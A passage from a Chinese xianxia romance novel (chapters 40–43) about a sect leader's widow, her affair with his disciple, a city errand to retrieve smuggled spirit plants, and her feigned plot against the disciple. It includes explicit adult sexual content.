徐宴芝一下便软在了他怀里,一言不发,幽怨地瞥了他一眼。 上回地下宫殿一别,这 些日子,他们各有谋划,都在忙碌,加之闵道一的事没有解决,除却那天被顾青峥安抚了的短暂时刻,她惶惶不可终日,白日反复推演着自己的谋划,夜里也睡不好觉,一闭上眼,总是能预见自己死在登上太阴峰的前夜。 她已经许久没有与顾青峥靠得这般近,若不是场景不合适,顾青峥身上那件衣裳早就该保不住了。 没想到被徐宴芝瞪了一眼,将她揽在怀中这人更是兴奋起来。 他从前也不知道自己会这样,车前坐着他的师弟,师弟体内寄生着他师父的神魂,薄薄一层木板相隔,他用极不体面的姿势将他的师娘抱在怀中,因为她一个眼神,便激动起来、蓄势待发起来,手也不自觉地开始四处移动。 徐宴芝倒吸了一口凉气。 他的手这样粗糙,钻进衣裳摩挲着不见光的肌肤时,除却轻微的疼,更多的是痒。 此时已经下了山,飞虎行在崎岖不平的路上,驾车的人并不熟练,车厢开始颠簸,两人姿势不便,顾青峥干脆将座上的徐宴芝一把抱起,让她面对自己分腿坐在他身上。 顾青峥牢牢禁锢住不安扭动的徐宴芝,他们的身躯紧紧相贴,车厢强烈的颠簸后,她几乎按捺不住地溢出了低吟,只好勾住了顾青峥脖子,用力吻住他,将暧昧的声音都融化在唇间。 是完全不适合的场景。 但或许又是完全适合的场景。 他们不是被强取的师娘和犯下罪孽的徒弟吗,那还有什么比这样的场景这样的时间更合适犯错,更适合强迫,更适合做一个孽徒。 “快一点——” 徐宴芝俯视着身下的男人,眼神疯狂又阴沉,她握住他的下巴,逼迫他仰起头看着自己,白雪般的指尖陷入他的脸颊,她凝视着他的眼,欣赏着这双迷离的眼中的迷恋。 他又反过来变成了被索取的那个。 背对着那一缕神魂,她正在不轨,她正在背叛。 可那又怎么样呢,那个人就算知道,也只能碍于形势,假装不清楚。 车厢碾过一粒石子,剧烈的震动了一下。 徐宴芝闭上了眼,愉悦地扬起了下巴。 40-50 第41章 第四十一章可以失控 从太阴峰上乘飞虎车到山下仙城,这段路说长不长,说短不短,都是山上仙人们走惯了的路,两旁风景也是千百年来不变的冰封雪景,一般而言,不会还有人在下山时欣赏车窗外的飞掠而过的苍茫白色。 徐宴芝却将头伏在顾青峥肩上,努力地调整着呼吸,不错眼地看着外头看腻了的景子。 刺目的雪光扎在她的瞳仁中,教她的瞳孔缩得很小,变得疼痛,可她并不眨眼。 她与他仍然保持着那个姿势,她分腿坐在他身上,两人身上的每一处肌肤都与对方贴着,双手都用力环抱着眼前人。 他的坚实、厚重的胸膛因呼吸急促而剧烈起伏着,手臂用力,偶有不慎,也会勒痛了徐宴芝的背脊,她也沉默享受着。 这些痛不算什么,反倒找回了她迷失的神智。 鼻尖是他的气息,耳边是他的喘息,身子被紧紧包裹在他的怀里,体内还残留着快乐的余韵。 当情欲褪去,填不满的空虚袭上了徐宴芝的心头时,她能通过这些来找到一个锚点,确认自己在万千世界中的哪一个角落。 她好似将要漂浮起来,她对一切具体都失去了兴致。 方才她似乎有些高声,那些暧昧不知有没有通过车窗逸散,可这些念头只升起了一小会儿,便被她压了下去。 听见了便听见了,管他的,这也是做戏的一部分。 徐宴芝的躁动不安又被顾青峥以某种下流的方式抚平了。 飞虎车一直走,驾车的人对操控飞虎不熟稔,车身偶尔会压在不平整的石子上,让前头那只灵兽时不时便要不满地喷着鼻息。 顾青峥一下又一下的顺着徐宴芝的背,用侧脸不住摩挲着她的脸颊,时不时,他便要收拢双手,喟叹着将她按在心口,从她的耳尖开始,不住地轻吻到后颈,再一下一下的咬在那块软肉上。 他并不说话,心跳却一直跳得很快,他们之前独处的每一次,结束后都很难面对刚才纵情的自己,赧然或是逃避,教他们匆匆分离。 反倒是在这样背德、不堪的场景中,被迫诚实地面对自己的欲念,他们难自禁地紧紧贴在一处,让他无法抵抗地释放着强烈无比的想要照顾、安抚她的念头。 徐宴芝也的确被他照拂得很好,他们之间亲密无间的行为慢慢填补上了她心中的空虚,让她渐渐收起了力气,软软地将自己的控制权交在他手中,任凭他翻来覆去地亲吻、抚摸她。 她发现她其实并不在意,在事后,在这样短暂的时间里失去对自己的控制,她很喜欢被这样对待,这种感觉就像她过去数十年常做的,将自己浸在一池热水,随波逐流,试图用温热从头到尾将自己抱紧时一样。 她舒服地眯起了眼睛,抑制不住地冒出了一个荒唐的念头—— 这趟行程若是永远不会结束就好了,她与顾青峥在逼仄的车厢内紧紧相拥,不用再去面对残酷的现实,不用提心吊胆、惶惶不可终日,把所有欲望与渴求抛下,如同幼时一般,不知天高地厚地、漫无目的地奔向未知。 顾青峥没有抬头看她,可有一双翡翠一般的眼睛,在虚空的某处,静静地注视着她。 这个念头刚刚升起,飞虎车便慢了下来。 他们已经走过了山上荒无人烟的那一段路,接下来便要踏上通过仙城的大道,这条道上有了人烟,若是飞虎再快,驾车人控不住时,容易惹祸。 徐宴芝那飞出了身躯的神魂也重新落了回来。 神魂落得很重,将她高涨的情绪一齐拉着落下,按在了能保持清醒的地方。 她似乎都听到了它们落地时发出‘咚’一声响,徐宴芝慌张地清醒了过来,遗憾慢慢将她淹没,但她也清楚,自己只能懈怠这短暂的一程。 飘飘然的念头散去,徐宴芝用了一点力道,推开了顾青峥,重新坐回了座上。 气氛重新回到了开始,车厢中的旖旎消散。 顾青峥有些僵硬,似乎无法适应怀中忽然空落落的感受,他仍握着她的手不放,她不看他,但车到底还没有停下,还有一段路要走。 他眉眼低垂,苦涩短暂地笑了笑,转过身去,颔首握住她的脚踝,温柔地为她清理,帮她整理裙摆上留下的褶皱。 做完这一切,飞虎车行径的速度变得更慢了,前头传来了闵道一有些颤抖的声音:“师娘,已经能看到城门了,您是要去哪儿?” 他或许听到了一些声音,或许是因为突然下山,并未带上御寒的灵器,太冷了,说话间牙齿都在打战,一句话被他说得含糊,好险没听明白。 徐宴芝想回答他,一口气吸到一半,又觉得累得慌,本能想要再懒惰一会儿,便轻轻地踢了踢身旁的顾青峥。 “师娘要去山下大观,你便直接驾车去那儿就好。”顾青峥替她说道。 不知前头闵道一脑中在想些什么,大声应了,慌慌张张地架着飞虎车停在了仙城大门前,与守卫交涉后,让飞虎缓缓迈步,冲着城中心的宗门大观走去。 山下的仙门不论何时都是热闹的,北域现在正处于冰雪季,隔三差五便要下上一场暴雪,人在雪上走得几回又压成了冰,出行十分不便。 七峰附近,唯有仙城里,既有结界防止灵力暴乱的暴风雪,又有大观,里头法阵与仙人都有许多,碰上双月当空也不怕。 这样的多重保护下,使得仙城比外头温暖许多,冰雪季中,雪原上有能力的人家,都会想方设法地搬到城里,待到暖和一些后再回去。 七峰的大观在仙城的正中心,通往大观的道路上人群摩肩接踵,熙熙攘攘,罕见的多。这样多的人教闵道一紧张起来,他死死地拽着缰绳,生怕飞虎不小心冲撞到人群,高声督促着这只灵兽只能一步接着一步地走。 虽然他们这辆车一眼便能瞧出不凡,可路上的也人实在太多,就算想避让也没有地方,双方都只能克制着,小心不要碰撞。 徐宴芝 高坐在车中,仍不曾拉上帘子,大大方方地侧着身子,目不转睛地看着外头的人群。 这样的美人,即便只安静坐着,露出一张脸来,但只要她出现在人前,胆子再小的人也要被吸引,鼓起勇气悄悄抬头看上一眼,飞虎又行得慢,渐渐地,街上行人中不断地传来压抑的惊呼。 他们跟着人群亦步亦趋地又过了一个街口后,流言蜚语已经在城中蔓延开来,远远地,闵道一看到有更多的人探头探脑,想要朝着这边挤来。 “师兄、师娘,这里人越来聚越多,我怕有事,不如请大观中的门人过来接应一下?”他从未见过这样的场景,当真有些慌乱了。 “不妨。”闵道一听到后头传来了顾青峥的声音,“我在这儿,无人敢造次,你只管驾车走便是。” 师兄这样发话了,闵道一擦了把汗,只得应了。 顾青峥说完话,伸手将两边车窗的帘子都拉了下来,一丝光也不透,将徐宴芝的容貌关在了车里,低声谴责道:“人多危险,您不该这样。” 徐宴芝恍然一笑:“我只顾着看人潮,倒是没想到这一出。” 她在北域这些年,幼时背着人,躲藏在荒野里、破庙中,眼睛瞧不清,只有夜晚时才敢躲在角落里,囫囵看一看地上的世界。 而后便是接连的,被关在牢笼中,不见天日,被卖做女奴,锁在后宅中,被宇文令掳走,困在地下,困在太阴峰,困在夫人的身份中。 即便是无尽之崖下,她也是孤单一人,离群索居。 徐宴芝从未同时见过这样多的凡人、散修在一起,各式各样、男女老少皆有,挨挨挤挤地站满了一整条街,脸上神情各不相同,愤怒、茫然、阴沉、欢喜,像是一张热闹的画,看得她应接不暇,忘了不该。 她说的真诚,甚至因为犯了小错,面上罕见的露出了赧然,显出了天真的神情来。 顾青峥先看得怔了,而后细细一品,慢慢尝出了其中苦涩。 那要将她珍藏、呵护,一根头发丝也不要让她伤到,最好筑起高墙,把她放在其中,将世间一切风雪拦在墙外的念头又占据了他的全部心神。 他沉默了须臾,越过她,将车窗上的帘子小心掀开了一角。飞虎车车厢很高,这样小的缝隙,外头并不能察觉到。 但徐宴芝却可以安全地靠在座椅上,眼也不眨地好奇地观察着外头人群的一举一动。 走得再慢,最终他们也只花了一刻钟便穿过了人群。 到底是宗门来人,大观不可能坐视飞虎车被汹涌人潮拦在路上,派了门人过来接应。 另外,徐宴芝他们下了车,才发觉城中之所以人山人海,也是因大观闹出来的动静。 观主朝着徐宴芝谄媚笑道:“这都倚仗了宗门慷慨,徐夫人慷慨,若是不您将宇文掌门的份例都拿了出来赠给宗门,咱们这也不能做这么大的布施。” 徐宴芝想了起来,确实曾经有一次,李能意暗示让她拿一些掌门份例,在冰雪季赠给弟子们,好让他们拿回家,让家人们顺利度过这个冰雪季。 但这些日子忙碌,徐宴芝心神不宁,便没有在意李长老是否还拿着这些份例做了别的。 现下看来,掌门份例实在不少,分给小弟子一些后,还有剩下,李能意也没有中饱私囊,反而公正地拿出来让仙城大观做了布施,还提到了徐宴芝的名字—— 他甚至没有大张旗鼓告诉徐宴芝一声,给自己讨个好。 徐宴芝听着观主絮絮叨叨说着大观这回是换了一大批暖玉、灵石,趁着城外人也聚集在仙城避寒,便赶紧布施下去,也让他们在冰雪季过得舒服一些,慢慢点了点头,赞扬道:“你做的很好,这也是并非我的功劳。” 她刚想领了李能意的情,也提一提他的名字,余光看到闵道一正站在顾青峥身后,一瞬不眨地看着她,心中一动,话锋一转道:“我只是替掌门慷慨,也算是替他为宗门做最后一件事了。” 说罢,徐宴芝眼眶一红,像是睹物思人,思念起了亡夫,她避过顾青峥伸来搀扶的手,对惊慌失措的观主强笑道:“见笑了。” 这般造作,引得观主惊得一身冷汗,嘴里只会车轱辘说些伉俪情深、鹣鲽情深的话。 徐宴芝不知自己从母亲身体出来那一刻哭过没有,但自从有了意识后,她便再也没有流过泪,将眼眶憋到发红已是极限,片刻后,她觉得应当已经够了,又抿嘴一笑,转了话题道:“揽云那边可是新运来了一批货物?” 观主迟疑了一会儿,犹豫道:“回夫人,货物刚刚送到观中,等着挑拣后送上山呢。” “嗯,我与揽云有约,先行去选一选。” 说罢,徐宴芝对他笑笑,转身便往大观的库房走去。 观主苦笑一声,看着眼前的顾青峥与闵道一,不去敢拦她,说明那批货还未登记入册,眼睁睁地看着徐宴芝消失在眼前,叹息着跟了上去。 顾青峥落后了一步,挨着与闵道一走在了徐宴芝与观主身后,他们莫约离前头二人十几步远,沉默走了一会儿,在拐进一道长廊后,顾青峥果然听到身旁传来了非常轻的声音:“师兄,莫要欺负师娘。” 闵道一两只拳头攥得很紧,不仅声音在发抖,身子也瑟缩地抖了起来,看也不敢看顾青峥,只盯着脚尖,也费了他全身的力气。 他自认识了徐宴芝与顾青峥后,便从未想过这一生竟然还会有这样的时刻,对闵道一而言,师父只是一个高高在上的符号,师兄才是他心中真正视为师父的那个人。 这一路上,车厢中的确有些细微的声音飘进了闵道一的耳朵,让他痛苦不堪,几番强忍,神智都混沌起来,几乎将嘴唇咬破。 “您不能对师娘不敬。”闵道一抬起眼来看向顾青峥,他惧怕到了极点,话都说不明白了,“那是师娘,我们应当要孝敬师娘。” 顾青峥闻言停下了脚步,侧身看向他。 被双冰冷的眼睛看了一会儿,闵道一的胆子都被看破了,将哭未哭时,他的头被顾青峥重重地揉了一把。 顾青峥收回手后,什么话也没说,平静地越过他,跟上了前面二人的步伐。 第42章 第四十二章趁机杀他 山下大观,名唤七峰观,平时用于七峰处理凡尘琐事,生意往来,两年一次的弟子大选时,也要用到大观。大观位于仙城中央,占了极大一块儿地方,构造也不简单。 徐宴芝从前只在上山前来过一回,对于七峰观库房的位置,全靠吕敏之口述,走了一会儿便在一处岔道前停了下来,转头对着观主微笑。 观主也只能回以苦笑,暗叹一口气,引着徐宴芝往库房走去。 他之所以这般苦恼,自然是因为,这样大的宗门,若是想要好好运转,里头当然有一本账要算,并且这账算起来也是有门道的。 北域宗门与外头交易,有些货物到了山下便进了七峰观的库房,不会再上山了,为了防止大观中饱私囊,货物、门人进出都有记录,十分严格。 徐宴芝若是要从观中带一些东西出去,那七峰观的账可就有些难做了。 观主笑得难看,徐宴芝也清楚,她温声道:“观主放心,自然不会让你难做,什么数量进来的,库房中便是什么数量。” 这话观主只信了一半,嘴上唯唯诺诺应了,心中却在打着算盘,明账暗账要怎么挪一挪,才能应付这回徐夫人过来打饥荒。 两人心中各怀鬼胎,来到了七峰观的库房前。 观主解开了 封印,带着徐宴芝来到了揽云这回送过来的货物前,手从左到右地指了五堆箱子,努嘴道:“这些便是这回送来的全部了。” 徐宴芝应了,又笑道:“劳烦观主出门候着吧。” “这个——” 观主迟疑了一会儿,最终还是一步三回头地退出了门外。 库房中只剩了徐宴芝一人后,她回忆了一会儿昨日顾青峥带来的岳竺密信,从一排封好的箱子中寻到了她要的那个,低头解开,取出了里头的藏着的小匣子,放进了自己的锦囊内。 做完这一切,她又照着岳竺提示,将箱子原样封好,见毫无破绽,方才退出了库房,对着外头忐忑不安的观主道:“行了,我的事办完了,麻烦你了。” 观主一边笑眯眯应了,一边伸着头去看。 他见里头的箱子,封印完好无缺,数量也没有少,果然如同徐宴芝所说的那样,有些疑惑地顿住了,伸手挠了挠头。 等到回过神来,想要再与徐宴芝说几句话,探探山上最近有什么消息时,人早就走得没影了。 徐宴芝离开了库房,刚往回走了几步,便看到了一前一后朝着她走来的两个徒儿。 她不露声色地打量了一番,见走在前头的顾青峥神色平静,后头闵道一满脸委屈,一副敢怒不敢言的模样。 慢下了脚步,徐宴芝目光越过了顾青峥,与后头的闵道一道:“道一,可要师娘陪你散心,在城里逛逛?” 闵道一闻言,先是笑,接着又小心瞥了师兄一眼,见他反应不大,立刻上前道:“好啊,我好久没有在城中逛了,走吧!” 说罢,他迎上前来,小心护着徐宴芝,挡在中间不让顾青峥碰到她,挽着她胳膊一溜烟地离开了这里。 两人快步走着,将站在原地未动的顾青峥远远抛下,不会儿便穿过了整个七峰观,来到了它正门前的广场。 走到这儿,徐宴芝不再随着闵道一往前走,她停了下来,轻轻拽了拽小徒儿的袖子,带着怀念对他道:“我与你师父便是在这儿相遇的。” 闵道一乜了一眼徐宴芝的发髻,见她仍旧带着宇文令送她的发簪,心中一阵发酸,说道:“如今却是与师父天人相隔了。” “嗯。”徐宴芝惆怅地叹了一声,“若是他在——” 若是他在会如何,她没有将话说完,但不妨碍闵道一自己在脑中补完了这句话——若是师父还在,师兄总不会这样放肆,不会去欺负师娘。 闵道一视线又模糊了起来。 他与徐宴芝在广场上站了一会儿,方才找回了神智,对徐宴芝笑道:“您要好好的,总归师父那样看重您,不会想要您伤心,我也会好好练功保护您的。” 徐宴芝定定看着脚下的青石板,没有立即回答他。 过了一会儿后,她双目通红地回头来,哑声道:“他恐怕从未将我放在心上过,他活着时一刻都没有想过,如果他不在了,我不过筑基修为,手握着掌门密令和他那些私产,要怎么才能从别人手里活下去。” 她瘦成了薄薄一片,眼睛大的惊人,红得骇人,嘴唇颤抖着,声音也因激动嘶哑了,好似一阵大一点的风,便能将她吹的碎掉了。 闵道一怔忪着,微微睁大了眼看着她。 他应当不知所措才对,但他的嘴却兀自出声道:“若他,没死,您会怎样?” 徐宴芝眼尾抽了一下,反问道:“你说什么?” “若师父没死,只是被困在某处,您——” “天涯海角,我都要找到他。”徐宴芝垂下眼,斩钉截铁地说道。 闵道一哦了一声,默默回过了头。 他没有再说话,只感到有一阵隐秘的满足感,慢慢从心底最深处升了起来。 这让他感到茫然与恐惧——他为何会生出这样的情绪来,究竟是谁在满足? “若是如此,师兄他。”闵道一试探道。 徐宴芝沉默了须臾,颤声答道:“你师父不会放过他。” 她这句话说的含糊,但要说的都说明白了,闵道一也听懂了,他迟疑着点了头,不明白心中猛然翻涌上来的情绪是什么,只是垂头道:“师兄他其实,唉,他做错了事,便只能是这样啊。” 说到这儿,两人都没了交谈的力气,惴惴地各自望着天上飘扬着的雪花,想着心事。 “走吧,小孩儿不管大人的事,今日这样热闹,师娘陪你逛一逛。”徐宴芝先回过神来,对还在神游的闵道一说道。 闵道一哎了一声,对她天真一笑,两人走出了七峰观,来到了外头的大街上。 大街上一队是在排队等着领七峰观派发救济的队伍,还有无数瞧热闹的闲人,徐宴芝带上兜帽,用丝巾遮住面容,走在人群当中,将里头各式各样的表情看得更为清楚。 她看得认真,教身旁的闵道一忍不住一直转头看她。 “为什么一直看我?”徐宴芝没转头,轻声道。 “哦,我在想,您为什么看得那样认真。”闵道一偷看被抓包,老老实实回答道。 “从前见得少。” “这样啊。” 师父以前没有跟您一块儿在街上逛过吗,闵道一想这样回答,可他转念一想,好像确实没有在回忆中找到什么日子徐宴芝是不在山上。 难道师娘这么多年,从未离开过太阴峰吗。 闵道一升起了这个念头,可他又觉得这个念头有些荒唐,师娘是师父唯一的道侣,又不是被囚禁在山上的囚犯,什么不能下山? 天真到有些愚蠢的闵道一,后知后觉地咂摸出了一些怪异。 但徐宴芝并未让他再多想,她忽然生出了一些坏心眼,带着闵道一在大街上左右转了一会儿,走到了一个巨大的告示旁。 她站定在告示前,似笑非笑地对闵道一扬了扬下巴。 闵道一顺着她的视线抬头看,只见告示第一行便写着一行大字——掌门亲传弟子闵道一阵法小项不合格。 “啊!”他当即惨叫一声,拉着徐宴芝的胳膊就跑,“师娘!我以后真的会好好练功的!您要相信我!” 徐宴芝笑了起来,任凭闵道一拉着她在街上飞奔。 两人这样在街上胡乱走着,不一会儿便钻进了小道中,来到了一条安静一些,但人依旧很多的窄街。 这条窄街两旁的门脸里聚满了人,都在凝神看着什么。 闵道一好奇,也跟着伸头去看。 只见店铺里摆满了灵植,品相参差不齐,他看见了几株极品灵植,但大部分都是歪瓜裂枣,只是老板不知怎么处理的,形状颜色都十分好看,若是不熟悉,恐怕一时半会也分不清。 徐宴芝也跟了上来,两人听了一会儿热闹,才晓得这里的店铺都有个规矩,客人不可将货物拿起来细看,只能凭着经验跟眼力,远远地选定了,与老板一手交钱一手交货。 他们身旁站了一位散修,看了许久,下定决心地一拍手,让老板取了其中一只。 闵道一看得明白,那分明是一只寻常灵植,决计不值那位散修给的价,正想要出声提醒,衣袖被身旁人拉了一下。 “走吧。”徐宴芝轻声说着,给了他一个眼神。 “——好。”闵道一不解地挠了挠头,恹恹地跟着师娘身后挤出了店铺。 但他也没忍多久,走了两步便嘟囔道:“师娘为何不让我出声。” “外人不知前因后果,便不要轻易打破旁人的规矩。” “哦。”闵道一皱了皱鼻子,“知道了。” 徐宴芝瞥他一眼,知晓他心里仍不服气,也懒得再多解释这些店家背后的一流仙家是如何手眼遮天,只含混说道:“你师父在的时候,我有时候也不明白很多事情,但他不在了,我才晓得,他待我其实很好。” 这些话从她嘴里说出来,让徐宴芝一阵反胃,几欲作呕,积年练成的好演技差点没撑住,靠着她快快地偏开脸才控制住。 但因为这段话,闵道一面上又露出了一些不常见的表情,她一边泛着恶心,一边想,这也算是值得了。 仙城中今日热闹得有些烦人,徐宴芝逛了会儿就厌了,对闵道一叹道:“热闹最好只瞧一会儿,多了也难受。” 闵道一听了,知道师娘想回去了,他虽然还想玩儿,但到底还是懂事道:“那咱们回去。” 回到七峰观,飞虎车早就已经停在了门前,顾青峥抱着手臂背对着他们,不知在想些什么。 徐宴芝远远看见他便瑟缩了一下, 好似对他十分畏惧。 闵道一见状,心中焦灼,连忙上前对顾青峥道:“师兄,您看我也不太会驾车,要不回去您拿缰绳呢?” 他忽然上前,顾青峥吃了一惊,回头看向他,先不说话,而后慢慢地笑了起来,摇头道:“不会就多多的练习。” 师兄的威严让闵道一本能地想要屈服,可想起刚刚才下定决心要保护师娘,又不愿轻易退让,低声抗议道:“可我不愿让师娘单独跟——” 话还未说完,便被顾青峥粗暴打断了:“这并不是你愿不愿意的事。” 说罢,他面无表情地对远处的徐宴芝扬了扬下巴,反手将闵道一提上了前座。 事已至此,闵道一与徐宴芝好像都无法反抗顾青峥了。 等到徐宴芝上了车,闵道一垂头丧气地在前头喊道:“走了啊,师娘!” 徐宴芝应了,抿嘴一笑,转头揶揄地看向顾青峥:“没想到,你竟然也能演,你师弟真被你吓死了。” 她用了仙法,声音只钻进了顾青峥的耳中。 顾青峥握住她的手,偏头对她勾了勾嘴角,同样方式对她说道:“您有没有想过,这些年来一直遮遮掩掩活着的,不止有您。” 他嘴角笑着,眼中却没有笑意,一些徐宴芝看不明白的情绪倾泻出来,将她浸溺在其中。 她的脸慢慢沉了下去,今日从早到晚这般装腔作势,她终于察觉自己早已累了,连脸颊都有些酸。 徐宴芝不由自主地心生怜悯。 或者是怜悯自己,或者是怜悯旁人,谁又能分得那样清楚呢。 回去的路上因为疲惫,徐宴芝不再有心思与顾青峥周旋,她昏昏欲睡地靠在座椅上,因闵道一的驾车技术一波三折地撞在车上。 等到飞虎车终于驶出了城外的道路,往山上走去时,车里更是颠簸。 又一次要撞到墙上时,顾青峥终于看不过眼,将她整个捞起,护在了怀里。 “睡吧。”他在她耳边轻声道。 这是个温暖宽厚的怀抱,紧紧将她箍在胸前的双臂免去了她左右摇摆的烦恼,鼻尖的气息也十分宜人,好似睡前点燃的安神香,熟悉得让她止不住想叹气。 徐宴芝只来得及唔了一声,便陷入了沉睡之中。 等待再次睁眼,她竟然已经睡在了无名小院自己的床上。 徐宴芝一怔,连忙坐起身来,看向窗外。 外头仍旧有橙黄的阳光,她身上整整齐齐地穿着衣裳,想来是刚刚回来没多久。 她是怎么回的小院?为何一直到了床上,她也不曾醒来? 是顾青峥将她抱回来的吗? 徐宴芝脑海里难以抑制地出现了顾青峥大摇大摆地抱着她,在众目睽睽之下,一路从太阴殿前走到后的场景。 她倒吸了一口凉气,又羞又恼地锤了一下床。 只在闵道一面前做戏就罢了,她可不曾想过要做戏给整个宗门看,与亡夫的孽徒纠缠不清,徐宴芝的谋划里可从未有过这一段。 她皱着眉,起身坐在桌前,恼火地随手拿了把梳子,一下又一下地戳着桌面。 这般发泄了一会儿后,她忽然想起了今日从七峰观上带回来的东西。 天还没黑,还来得及将东西送到吕、周二位长老手中。 这般想着,徐宴芝赶紧站起身往外走去。 那个从七峰观中取走的小匣子里,装着几株揽云大泽明令禁止走私的活的灵植,还有岳竺私下里允诺她、周云子和吕敏之的四层利润—— 徐宴芝以七峰的名义与岳竺做了一桩灵植生意,并不经过揽云,全部利润都归他所有,他让利四分还给七峰几人,自然也是寻常。 这事非得要掌管灵植的周云子,管着贸易的吕敏之同意才能做得成,徐宴芝也是下了一番功夫在这几个人精之间斡旋,才最终促成此事。 匆匆走出无名小院,几个值日的小弟子见了她,都一脸担忧地上前行礼,问道:“听闻下午夫人晕过去了,现下可好些了?” 看来顾青峥并不想她之前想的那般放肆,到底还是有些分寸,遮掩了一番。徐宴芝一边松了口气,一边回礼道:“好多了,多谢。” 这回她的脚步也松快了许多,走到殿前,在夹道中迎面撞见了一脸阴沉的闵道一。 他面色极难看,气质与寻常迥然不同,徐宴芝心下一凛,连忙打起精神来,轻声问道:“是来寻我的吗?” 闵道一抬眼瞥了她一眼,慢吞吞地应了。 沉默良久后,又一字一句道:“有件事,我要与你说。” 四下无人,徐宴芝紧张地背上不知不觉出了一层薄汗,夹道中风一吹,身子都凉了半截,她听到自己说:“何事?” “师父并未死,他现下被困在了某处——” “你说什么。”徐宴芝身形一震,宛如遭到晴天霹雳,她踉踉跄跄地退后了几步,撞在了墙上,“你怎么,为何会——” 她语无伦次地说了一些前言不搭后语的话,最后闭上了眼,深吸了一口气,方才稳定下心神,喃喃道:“他在哪儿。” “你不问我是怎么知道的?” 闵道一皱着眉,低声问道。 “我们从前一直不知道你师父为何收你为徒。”徐宴芝声音很低,眼神却逐渐坚定,身子也缓缓站直了,“现下,似乎一切都有了解释,他便是为了此刻吧。” “唔,他在无尽之崖附近。”闵道一不置可否地答道。 他拖长了音,并没有说出准确的地点。 徐宴芝恍若不察,颤声道:“我们可以去找他。” “你手握掌门密令,不能就这样下山。” “我正好与揽云大泽谈了一桩生意。”徐宴芝惨然一笑,好似在感慨自己的命运,“却不知还能有这样的用处——” “顾青峥一定会与你一块儿下山。” “那便趁机,杀了他。” 她眼中闪过一丝杀意,任谁来看,都瞧不出半点假。 第43章 第四十三章信她的恨 闵道一听了徐宴芝说要杀了顾青峥的话,眉头微挑,半阖上眼,并没有立即回答她。 他们在夹道之中,两边都是极高的宫墙,朱红色,把斜阳也拦下,将两人晦暗不明的表情掩在阴影中。 谁都没说话,只有风穿过的发出的呜呜凄声,和更远处,小弟子们压制着的说笑声。 身前人垂着眼,低着头,徐宴芝的角度看去,他从前万事不想的圆眼睛里覆了一层薄雾,阴沉沉、雾蒙蒙的。 她不知道这个多疑的神魂有没有信了她方才的话。 勉力压制着如鼓的心跳,徐宴芝静静看着眼前既熟悉又陌生的闵道一,手指不自禁地攥紧。 事情已经到了这一步,之前的谋划已经成功的一半。 她手心也渗出了细汗珠,脑中千回百转地思索着,想再说些什么,好叫面前人相信,刚张口,便听到他说:“你当真,想要顾青峥死?” 闵道一惯常高扬的声线被压得极低,他说话时,嘴唇的张合幅度都有限,如蛇吐信,嘶嘶作响。 “你当真舍得?” 他抬起头来,盯着徐宴芝的眼睛,又问了一回。 心念电转间,徐宴芝短促地笑了一声,她索性欺身上前,将脸凑在他前面,眯眼不示弱地盯了回去。 她也学他一般哑哑地问道:“我当真舍得,你呢?你说的当真是真话吗?跟我说话的不是闵道一,你是谁?” 这般逼迫她犹嫌不够,她伸手去揪住他的衣襟,再上前一步,用力将他推在墙上,恨道:“你敢不敢看着我眼睛,告诉我你是谁?是那个将我从山下掳走、那个与我在太阴峰过了数十年的枕边人吗?” “你躲在一旁看我受辱,看我挣扎,你看够了吗?” 他不信她的爱,他可信她的恨? 这数十年来,她的爱浮于表面,在举手投足地扮演中,虚情假意的笑意中,她的恨却刻骨铭心,与连绵不绝的疼痛、狰狞丑陋的伤疤一起,反反复复地将她作践,将她的真我碾做泥,混在北域永不停息的暴雪里,连脏污都留不下半分。 只要给她一个口子,浓稠黏腻的脏心便能倾泻,是做戏永远也不及的真。 “宇文令,你这懦弱小人,你待我,有一分真心吗?” 问到这里,面前人的呼吸终于粗重起来,他粗暴地伸手握住了徐宴芝的手,一点一点地用力,将 她手指从自己衣襟上剥开。 他的牙关在颤抖,闵道一的眼显不出他的神魂,只是像一具拙劣的傀儡,勉强做出痛苦的模样:“若没有,我们为何会有这番话。” 徐宴芝呼吸一滞,她一半的心在高兴,另一半坠得更低。 不用再刻意,她的声音颤抖而破碎:“你只信我的恨。” “你不恨,我怎么敢信。” 他又垂下了头,连原本咄咄逼人的视线也移转开。 毕竟,他将她独自留在了太阴峰,让她好不容易从一个泥潭爬出来,又陷入了另一个里。 是的,他清晰地知道,她曾深陷泥潭。 数十年光阴弹指一瞬间,自负如宇文令,极其偶尔的时候,也会思忖起他与徐宴芝相遇的头几年—— 错误的开头,是否能换来对的结果。 但情爱于他而言不过是生命中的极小一部分,他自认为后来除却修行时,待徐宴芝已是不错,她也温顺体贴,这便已经足够。 只是没想到,今日深陷泥潭的换做了他。 当世界颠倒后,他才后知后觉意识到,情爱对于宇文令而言是生命中的极小一部分,那么,对于徐宴芝来说呢?丈夫死去后,她曾经的情与爱,能与现在她手中握着的权柄、财富相提并论吗? “直到你看到我因为现下的处境对你生恨,你才信我是真的想要从顾青峥手里逃出来。”徐宴芝似笑非笑地说着。 他发出了古怪的声音,或许是笑了一下:“我的处境也让我只能如此。” 徐宴芝也附和着轻笑一声,站直了身子,退后了一步。 “我们现在,只有一条路可以走。”她说着,偏头看向夹道尽头,“你只能听我的。” 说罢,她不等他回答,头也不回地往前走去,将身后人留在了原地。 半路被人拦下,耽搁了许多时间,徐宴芝步履匆匆,总算在夜晚来临将东西送到了周、吕二人手中。 东西是她千挑万选后决定,又想方设法周旋来的,两位长老没有不满意的,当即同意了岳竺送来的需求。 其实她们也心知肚明,这不过又是岳竺私下里为家族敛财做的生意,徐宴芝说动了她们二人同意岳竺的请求,以北域名义向揽云做买卖。 北域应得的利润光明正大地进了公账,岳竺所得的报酬则是几个人私下一块儿分了。 将这桩生意定下,徐宴芝走出宫殿,长舒了一口气。 她抬头看看天边,发现夕阳已经西坠,广场上,小弟子们也开始忙忙碌碌四散而去,有些要去做晚课,有些赶着去值日换班。 七峰的规矩,晚课结束后,便不许小弟子们在山中行走,更不许灵舟在山间通行,除却特殊的日子与特殊的人,小弟子们若是被发现了,少不得要受到责罚。 徐宴芝不愿特殊,趁着宵禁还未开始,乘着灵舟回了太阴峰上她的无名小院,仔细思索着今日的种种。 从下山开始,一直到闵道一出现。 她将这段时间发生的事梳理了一遍,觉得破绽应当不太多,但心头还是不安,觉得应当还是有些不对。 在山下时,徐宴芝自认为已经极尽所能,那时的宇文令应当是受到了触动的,可他却仍然隐忍不发,并未在徐宴芝面前坦白。 回到山上后,他反而像是受了什么刺激。 在夹道中撞见时,他面上的表情阴沉极了,言语间坦然又急促。 发生了什么事? 徐宴芝坐在桌前,撑着下巴,有一搭没一搭地用梳子点着桌面。 